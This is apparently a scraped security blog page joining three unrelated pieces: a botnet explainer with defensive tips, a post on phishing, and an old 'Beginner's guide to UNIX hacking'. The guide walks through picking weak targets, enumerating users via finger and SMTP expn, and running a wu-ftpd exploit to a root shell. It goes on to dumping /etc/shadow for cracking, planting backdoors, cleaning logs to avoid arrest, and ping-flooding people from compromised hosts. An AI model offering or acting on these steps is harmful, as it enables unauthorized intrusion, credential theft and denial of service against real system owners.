Bots and Botnets

The term bot, derived from “ro-bot” in its generic form. It is a script or set of scripts or a computer program which is designed to perform predefined functions repeatedly and automatically after being triggered intentionally or through a system infection. Bot runs automated tasks over internet. According to the type of working we can say that there are two of Bots.

Benevolent bots: Bots that are used to carry out legitimate activities in an automated manner are called benevolent bots. These are used in search engines to spider online website content and by online games to provide virtual opponent.
Malicious bots: Bots that are meant for malicious intent are known as malicious bots. bots used for DDos attack and spam bots are example of Malicious bots.

The first bot program Eggdrop created by Jeff Fisher in 1993 originated as a useful feature on Internet Relay Chat (IRC) for text based conferencing on many machines in a distributed fashion.

An IRC malicious bot program runs on an IRC host or client each time it boots in a hidden manner and controlled by commands given by other IRC bot(s). It is typically an executable file with a size of less than 15 KB in its compressed form. An IRC host computer running an IRC bot malware program becomes a Zombie or a drone (Choo – 2007). 


The first malicious IRC bot, Pretty Park Worm that appeared in 1999 contained a limited set of functionality and features, such as the ability to connect to a remote IRC server, retrieve basic system information e.g. operating system version, login names, email addresses, etc.


A collection of such type of bot affected systems are know as BOTNET (Bot Networks). A collection of compromised hosts or bot-infected machines running malware such as worms, Trojan horses, or backdoors under command & control (C&C) infrastructure.

Types of Botnets:  There are a variety of botnets in existence today. The three most commonly seen on home and office client computers are HTTP botnets that exploit vulnerabilities in web browsers, IRC botnets that allow operators to control the computers of unsuspecting users through an internet relay chat (IRC) channel, and Peer to Peer (P2P) botnets that infect files shared on P2P services like Gnutella or Limewire.

HTTP Botnets:HTTP typically is used for creation and control of botnets. Bots will sign in to an http server and wait for commands from a bot herder, or they will simply visit pre-designated sites to get commands that are coded into the site’s files.  Many HTTP bots have their own servers for downloading malware, phishing, etc. 

P2P Botnets:Many P2P applications are utilized by bot herders to share files that have bots and malware attached. In most cases, these bots are pre-programmed to perform specific functions when a file is opened, or when a container application like a game or desktop application is installed.

IRC Botnets: The most abundant use of botnets is accomplished using IRC applications. This is because the IRC protocol has been around the longest, and that is where earlier botnets operated before HTTP came along. IRC is used by a wide variety of applications to allow users to have simple text based chatting environments. Infected IRC clients log into a specific IRC server and wait for specially formatted text messages that contain commands. Commands can also be encoded into the title or name of the chat channel, so that every bot entering can be given commands. More sophisticated versions of this will group bots into sub-nets based on the tasks to be performed, or some other distinction. IRC Botnets are generally the most complex and the hardest to detect.

this is the diagram which shows how an attacker spread his bots on victims computer and control those bot program. Mostly these Affected systems are use for illegal activities by attacker without the knowledge of system owner. 

Look at the figure which shows how botnets are used in DDos attacks.

How to Avoid Botnets: 

• Install an antivirus program from a trusted provider.
• Make sure the operating system’s firewall is turned on, as well as the firewall of any connected router(s).
• Keep your operating system, web browser, firewall and antivirus applications up to date.
• Keep all media players up to date.
• Pay close attention to the options available when installing downloaded software. Installing toolbars or other gadgets that come from sources other than the site they were created on may have bots attached to the install. Also be skeptical of installation options that ask for permission to change your browser’s home page.
• Learn to be very critical of emails containing links of any kind or ask you to go to a specific site that you’re unfamiliar with.

if you have any query regarding this post please comment.

Do you really know Phishing?

When i started this security blog more than 20 months ago, i was good in hacking stuffs and used to play with some common hacking methods. At that time i really enjoy phishing and trojans. Binding torjans with FUD cryptors and then playing with friend's computers was really a nice prank for me.
Now the time is changed a lot. I saw many school students claiming to be hacker (but I don't think i am) and posting some bad comments on my older phishing posts. According to these new hackers, Phishing is the old way and people are not going to give your password in the fake login pages. This force me to think whether they really know the significance of the word "hacker".


If you see the latest cyber crime report, then you will see that Phishing is the main attack on all these cyber crimes. Most of the DNS poisioning attack leads to phishing pages. Brazilian bank account hacking is the most recent example. That was also a fake login page of the bank on the other domain. But it leads to the hacking of thousands of bank account. Do you still think the phishing is dead?


Few days back, Norton published a report about a fake software vendor website selling some popular softwares for a huge amount of discount. This fake website have all the things which can prove it as a trusted vendor. But the payment of the website is suspicious. When a user wanted to buy a software for this huge discount, he was redirected to the payment gatway asking for credit cards info. But the gatway was not the official and trusted. Website was storing all the secure credit card data which it later used for malicious purpose.The website was a phishig website which was giving this kind of software offers to get users credi card data. This was the high level of phishing without any kind of fake login page. DO you still think you know the phshing well.


For those blah blah blah hackers who are easy to find on facebook, phishing is just creating fake login page and is dead. But for hackers, phishing something which is most dangerous.


NOTE:
This is my personal advice not to pay on any website until you find a known secure payment gateway. Always verify the payment gateway before paying. If you are not sure about the payment gateway, see the URL on the address bar of the page which is asking for your credit card info. Search about the this domain in the Google and see the results whether it is a payment gateway of a phishing scam.

The Beginner's guide to UNIX hacking

.......Ok done with the sloppy ass ascii art. The reason I am 
even writing this text is because of the incoming increase in questions like "how do I hack
hotmail" or aol or another lame question. This text should explain to you that you have to 
actually know something to "hack." Read through the whole text if you are a beginner, and
if you know a little, skip through and you should understand it. I will probably be adding
to this text to make it include more info, and to make it easier to understand, the basic
reason I wrote this is to STOP people from asking me and others how to do STUPID things
yes it is STUPID to ask how to hack, it makes you look stupid and you will never be anything
unless you can't teach yourself.

             I at first was just a kid in middle school who wanted to 
mess up people's computers. I asked people about virii and trojans, and used them, I was a 
lamer. I asked people in school and eventually found someone who was interested in hacking. 
He showed me some tricks, and i payed him money i wanted to learn so bad. He had been using unix
for years, he told me to get a shell, I had no idea what he meant. He said it was access to
a unix computer. I was still a little confused, but eventually I got the hang of using a shell
instead of winshit. I read all I could, I spent all day on the computer, i started losing 
interest in socialization in the real world. I didn't care, I spent over 12 hours a day on 
the computer at that time, I read everything i could get a hold of, the very first text I 
read was the "mostly harmless hacking" text. It interested me, I only used the windows stuff
at first like changing the shutdown screen and other simple things. I was making websites
on hacking although i didn't know what it was, I would include tools for windows like
trojans and virii although they weren't hacking it was something I liked at the time. I
later got into mailbombers, flooders, DoS things. After I learned all of that (I realize
that it is not hacking now don't flame me here) I started going back into getting shells.
Well at that time all the free shells I could find just plain sucked. I heard a couple 
things about Linux. I asked my "hacker friend" at school, he said don't get Linux get a
real UNIX. He moved to PA, and I have never heard from him since, I have tryed to track him
down to thank him for what he has showed me but have had no luck. Well I got linux. The
install was text based then but it ran fast, it was a lot more reliable than windows, 
never crashed. Well My 56k didn't work. I went on IRC and asked around #linux. I found 
out I had a modem called a "winmodem", I win-modem is a modem controlled by the software.
They are generally slower than hardware modems and they don't work on linux. I played 
around with the command line seeing what things I could do, than I eventually raised $100 
to buy a Linux compatible modem. I got it running. It was great. I have been using it ever
since, and still am learning more about it. My parents say I am "addicted to the computer",
I try to convince them I am not. I never seem to get bored with it, I always have something
new to do with it. I have lost some friends in the time, hardly ever leaving my desk, I quit
the Varsity Football Team, I was a starter, I have quit jobs, all just to use this damn machine
I am starting to get pissed at myself so I will stop writing this boring paragraph. I hope someone
out there finds this useful :)


                                                  CONTENTS
                                                ============
                                    
                                    (1.) Common knowledge
                                    (2.) Supplies
                                    (3.) Easy hacks
                                    (4.) What you need to do to get in
                                    (5.) Enumeration
                                    (6.) Common Mistakes leading to compromise
                                    (7.) Buffer overflows
                                    (8.) Firewalls
                                    (9.) What to do after getting in
                                    (10.) How to not get caught
                                    (11.) Log cleaning
                                    (12.) Finding a use for the newly rooted box
                                    (13.) My feelings on the bad hackers
                                        

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
                                 
                                                DISCLAIMER
                                             ================

     Ok by reading this text you agree to NOT hold me or anyone affiliated with r00t-access responsible
     for your actions.



(1.) The best way to use this text is to read it once fully, than read 
     it again and try out some things explained here. Ok now on with the text.
     When you read this text I am expecting you to have basic knowledge of what
     telnet is, some basic tcp/ip knowledge... If there is something little here
     you don't understand, don't hesitate to join #r00t-access on irc.dal.net, 
     that is one of the places I hang out on. 


-------------------------------------------------------------------------------------------------------


                                              SUPPLIES
                                             ==========

(2.) Here listed is some supplies you will need throughout this tutorial, they can be obtained
     easily, at anti-secure.com and packetstorm.securify.com, just do a search for the names of the 
     tools I list.


       1. - superscan (for windows)
       2. - nmap (for unix)
       3. - full shell access (the very best is if you have linux or bsd or solaris or another unix OS)
       4. - compiler on the shell
       5. - wingates (you can use them as telnet proxys)

    That is it! 

------------------------------------------------------------------------------------------------------



                                           EASY TARGETS
                                          ==============

(3.) Here I talk about finding easy targets.


       1. - go to altavista.com search for "games" make the language Japanese or another language 
            other than english, reason is these tend to be low on security
       2. - Scan a Cable or DSL subnet for hosts with lots of services running, use nmap, make sure
            when it finds an open port the state is "open" not "closed" or "filtered"
            nmap's portscan report will tell you this, I will not explain how to use nmap since the 
            man page shows you enough
       3. - make sure nmap is installed, use the command I post below or similar
            to find hosts with lots of common unix services running- 

  (NOTE: $ will represent a regular user shell in this text and # will be representing a superuser
   shell. I use 24.112.*.* as a sample, replace it with who you want to scan)
       
$ nmap -p 21,23 24.112.*.*
      

--------------------------------------------------------------------------------------------------


                                          TO GET IN
                                        ============

(4.) To get in you will need to gather as much info on this host as you can, make sure it is 
     a dumb SysAdmin, since this is your first hack. Then exploit the System, I will explain more
     on this and info getting later.


-------------------------------------------------------------------------------------------------


                                     
                                         ENUMERATION
                                        =============

(5,> Ok we have our target. Now to go further we need some info. First telnet to it's port 79, now
     if this is open you can possibly gain a user list of who is logged on.Just telnet in and press enter.
      Lets say it is enabled
     and allows you to view online users. Look at the example below-

-----------------------------------------------------------------------------
$ telnet target.domain 79
Trying IPaddress...
Connected to target.domain.
Escape character is '^]'.

Login     Name              Tty   Idle  Login Time  Office      Office Phone
gt        grahm crackhead   /1    Sep 1 12:01        

-----------------------------------------------------------------------------


     Ok if you get a login write it down
     and try various logins for it. Maybe get Brutus, a telnet brute forcer which you can download for 
     windows at- www.packetstorm.securify.com. Use that, try many wordlists. If you just got a 
     "no one is logged on" 
     message than perhaps you should get "haktek" for windows, you can also get that at-
     www.packetstorm.securify.com. Haktek will let you monitor the finger daemon for as long as you want
     and log to a file everyone who logs in. This can be usefull. Another way is to use the sendmail.
     If they have a lot of users try telneting in and trying to find some valid names, maybe even try
     brute forcing it with a program or a shell script you could type up. Look below, I give an example
     of a sendmail vulnerable to gathering valid logins-

-----------------------------------------------------------------------------
$ telnet target.domain 25
Trying IPaddress...
Connected to target.domain.
Escape character is '^]'.

220 target.domain ESMTP Sendmail 8.9.3/8.9.3; Fri, 1 Sep 2000 12:11:00 -0400
expn wally
250 Wally Kolcun <wally@target.domain>
vrfy wally
250 Wally Kolcun <Wally@target.domain>
expn Billy
550 BIlly... User Unknown
----------------------------------------------------------------------------

As you see above I telneted to their smtp daemon, issued "expn <usernamehere>" and it told me if it was a
real user, then at the end I showed an example of what would happen if the user did not exist, when I 
typed "expn Billy" it showed the user was unknown so it was not a valid login, this also helps you get 
their email address when you would do some social engineering.

Another way of gathering usernames would be to search usenet, altavista, for that specific domain. 
If you search newsgroups for the domain, there may be some useful info on it, like a problem they are having
maybe with setting permissions, which could get you in possibly.

Other daemons to help you could be systat, netstat...

Telnet can also help you figure out the OS, which can be important if you want to exploit it, some have the
OS printed in the telnet login, like below:

----------------------------------------------------------------------------
Trying IPaddress...
Connected to target.domain.
Escape character is '^]'.

Red Hat Linux release 6.1 (Cartman)
Kernal 2.2.12-20 on an i586
login:
.----------------------------------------------------------------------------

As you can see above the system we are cracking now is a redhat 6.1 box

Social engineering can also get you somewhere, take the example of Kevin Mitnick, He used social engineering
to get into Novell, a HUGE system. What he did was talked like he knew someone who was working there. He 
knew they were at vacation at the time, but he had their name. He called up Novell's offices and asked for 
the person, the secretary said she was on vacation, so he said he needed to get access from her, he was
supposed to have. She gave him info that got him in. 

----------------------------------------------------------------------------------------------------------

                                            COMMON FLAWS
                                          ===============



(6.) Sometimes people make mistakes. This can get you in. Some people just aren't good sysadmins. A very 
     common flaw is people having trouble setting permissions, some have so much trouble they set things
     writable to everyone. This can be trouble. Lets have an example here. Someone sets the cron.daily 
     writable for everyone. You could just upload somebackdoor and have it executed by the cron daemon which
     would escalate your access to the system.

     Now I will tell you about the most terrible thing to do. If a user ever uses IRC on the system, and
     if they also had dcc file send on autoexcept, also having the files go to their home directory, they
     could be sent a hacked up .bash_profile, if written correctly this could make them do something not 
     wanted. Like adding a user when they logged in, or mailing someone a login/pass. This is absolutely
     the easiest way to get in.

---------------------------------------------------------------------------------------------------------

                                         BUFFER OVERFLOWS/EXPLOITING
                                      ================================

(7.) I am not going into buffer overflows too deep. I will just explain what they are so you understand
     and go into the next section. 

     BUFFER OVERFLOWS- On daemons there is a thing called a buffer limit. The buffer limit limits the
    ================== amount of bytes that come in. Sometimes by issuing specific code you ca overflow 
                       the buffer and spawn a root shell or regular user shell. An example of this is
                       the recent Buffer overflow in wu-ftpd 2.6.0 (1). Below I will show you it-

------------------------------------------------------------------------------

$ gcc wuftpd-god.c -o wuftpd-god
$ ./wuftpd-god -h

Usage: ./wuftpd-god -t <target> [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x]
         [-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]
target    : host with any wuftpd
user      : anonymous user
dir       : if not anonymous user, you need to have writable directory
magic_str : magic string (see exploit description)
-g        : enables magic string digging
-x        : enables test mode
pass_addr : pointer to setproctitle argument
ret_addr  : this is pointer to shellcode
systypes: 
  0 - RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm
  1 - RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm
  2 - SuSe 6.3 with wuftpd 2.6.0(1) from rpm
  3 - SuSe 6.4 with wuftpd 2.6.0(1) from rpm
  4 - RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test)
  5 - FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports
* 6 - FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages
  7 - FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports
  8 - FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages


$ ./wuftpd-god -s0 -t target.domain

Target: target.domain (ftp/<shellcode>): RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm
Return Address: 0x08075844, AddrRetAddr: 0xbfffb028, Shellcode: 152

loggin into system..
 [32mUSER ftp
 [0m331 Guest login ok, send your complete e-mail address as password.
 [32mPASS <shellcode>
 [0m230-Next time please use your e-mail address as your password
230-        for example: joe@cc456375-b.abdn1.md.home.com
230 Guest login ok, access restrictions apply.
STEP 2 : Skipping, magic number already exists: [87,01:03,02:01,01:02,04]
STEP 3 : Checking if we can reach our return address by format string
Linux melmac 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown
uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)

#
-------------------------------------------------------------------------------
If you want root generally an exploit is the way. Find the OS of the system
then visit hack.co.za or packetstorm and search for that os, exploit and you 
should get some perl scripts/c scripts/shell scripts. Then just execute them 
as directed and you should have root.
-------------------------------------------------------------------------------

Already got a root shell, that was pretty easy. Just 3 commands to compile get help
and execute, a lot of times I think it is too easy.

Ok, in some places you might want to know the actual root password in case they patch the exploit.
so lets say you have a root shell. Issue the command as below-

(it is /etc/passwd if they did not install shadowing utils)

---------------------------------------------------------------
# cat /etc/shadow > /root/passwd      
root:34jk3h4jh3.,;8363:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:
operator:x:11:0:operator:/root:
games:x:12:100:games:/usr/games:
sympa:x:89:89:Sympa Mailing list manager:/home/sympa:/bin/bash
gopher:x:13:30:gopher:/usr/lib/gopher-data:
ftp:x:14:50:FTP User:/home/ftp:
nobody:x:99:99:Nobody:/:
xfs:x:100:103:X Font Server:/etc/X11/fs:/bin/false
fax:x:10:14:Fax Master:/home/fax/:/bin/bash
postfix:x:101:233:postfix:/var/spool/postfix:
gdm:x:42:235::/home/gdm:/bin/bash
grim:9hu.u8:501:501:grim:/home/grim:/bin/bash
banal:x:102:236:BANAL Administrator:/home/banal:/bin/bash
bleeb:36.34/363;86:502:506::/home/bleeb:/bin/bash
---------------------------------------------------------------

The above command saved it as /root/passwd, but then you must crack it. Use john the ripper,
it can be found at packetstorm and other places, I use it, it is so fast. Sometimes it takes years
to crack a password so I don't suggest relying on cracking
---------------------------------------------------------------------------------------------------------

                                      FIREWALLS
                                     ===========

(8.) Firewalls can't stop you if you know what you are doing. In this text I use nmap a lot, it is good
     for just about everything, nmap is short for network mapper. The newest version can be downloaded 
     from www.insecure.org  I love it's OS detection, it is so accurate, even wehn little services are
     running, it analyzes the tcp fingerprint, which it has a large database of. Ok enough on the greatness
     here is a simple option on nmap you can use to find the rules for firewalls. Issue "nmap -sA" . This
     Will check the firewalls rules. I don't want to go to deep into it to make this text extremely more
     boring than it is. If you would like to know more on this flag for nmap  (a - in front of a option
     is a flag) just do "man nmap" at the shell prompt.

---------------------------------------------------------------------------------------------------------


                               WHAT TO DO AFTER GETTING IN
                              ==============================

(9.) What to do after you get in depends on how you are going to use the system, if you want to use it 
     to have an anonymous root shell then set up a backdoor. You can get backdoor's (trojans) at 
     www.packetstorm.securify.com. I think you should be able to set up a backdoor on your own, but
     if for some reason you need help join #r00t-access on Dalnet and I can get you through but I will
     NOT crack into the systems for you, but I can help out occasionally if you need to secure your system...

---------------------------------------------------------------------------------------------------------

                                 HOW TO NOT GET CAUGHT
                                ======================= 

(10.) Main thing is, DON'T be STUPID. If you want to keep the remote shell, don't deface the site, don't
      delete their files, try to leave the system as it was and delete the neccessary logs to do so, that 
      is all I have to say on this section.

---------------------------------------------------------------------------------------------------------

                                    LOG CLEANING
                                  ================

(11.) Log cleaning is the most important part of staying there and not going to jail. Rid your login/hostname
      from logs, which on Linux are held in /var/log, and .bash_profile in your directory. The easiest way
      to do this is to use a log cleaner which you can get from blackcode.com or packetstorm.

---------------------------------------------------------------------------------------------------------

                                   FINDING A USE
                                  ===============

(12.) I always have at least one rooted shell on me. I set up nmap and saint on them to hide my hostname, 
      maybe run a web proxy/bnc on it. Saint is a great tool, it can tell you what a system is vulnerable
      to and can run remotely in your webbrowser with ease. Sometimes when people piss me off I decide to use 
      a couple boxes and flood em'. like this- 

----------------------------------------------------------------
# ping -f -c 50 -s 4500 IPaddress
.........................................................
...........................................................
.........E...........E...EE........E..................E.......
..............E.......E.EEE...................E.E......
Host unreatchable.     
----------------------------------------------------------------

People consider it lame but sometimes i want certain people to just shutup on IRC so I flood them.
---------------------------------------------------------------------------------------------------------


                                  THE BAD HACKER
                                ===================

(13.) In this text I have not been talking of hacking, in fact it is refered to as cracking. I don't mess
      up and systems and probably never will, not because I can't but because it is not right, plus if you got
      caught you would get more jail time for damage charges. I dislike people into totalling things.


----------------------------------------------------------------------------------------------------------

FINALLY I am fucking done. Ok below you can contact me for comments or questions, if you have questions
please don't email me how to hack questions, join the chan, but be specific about your questions, I will
be putting up a telnet BBS soon, join the chan for updates in the topic.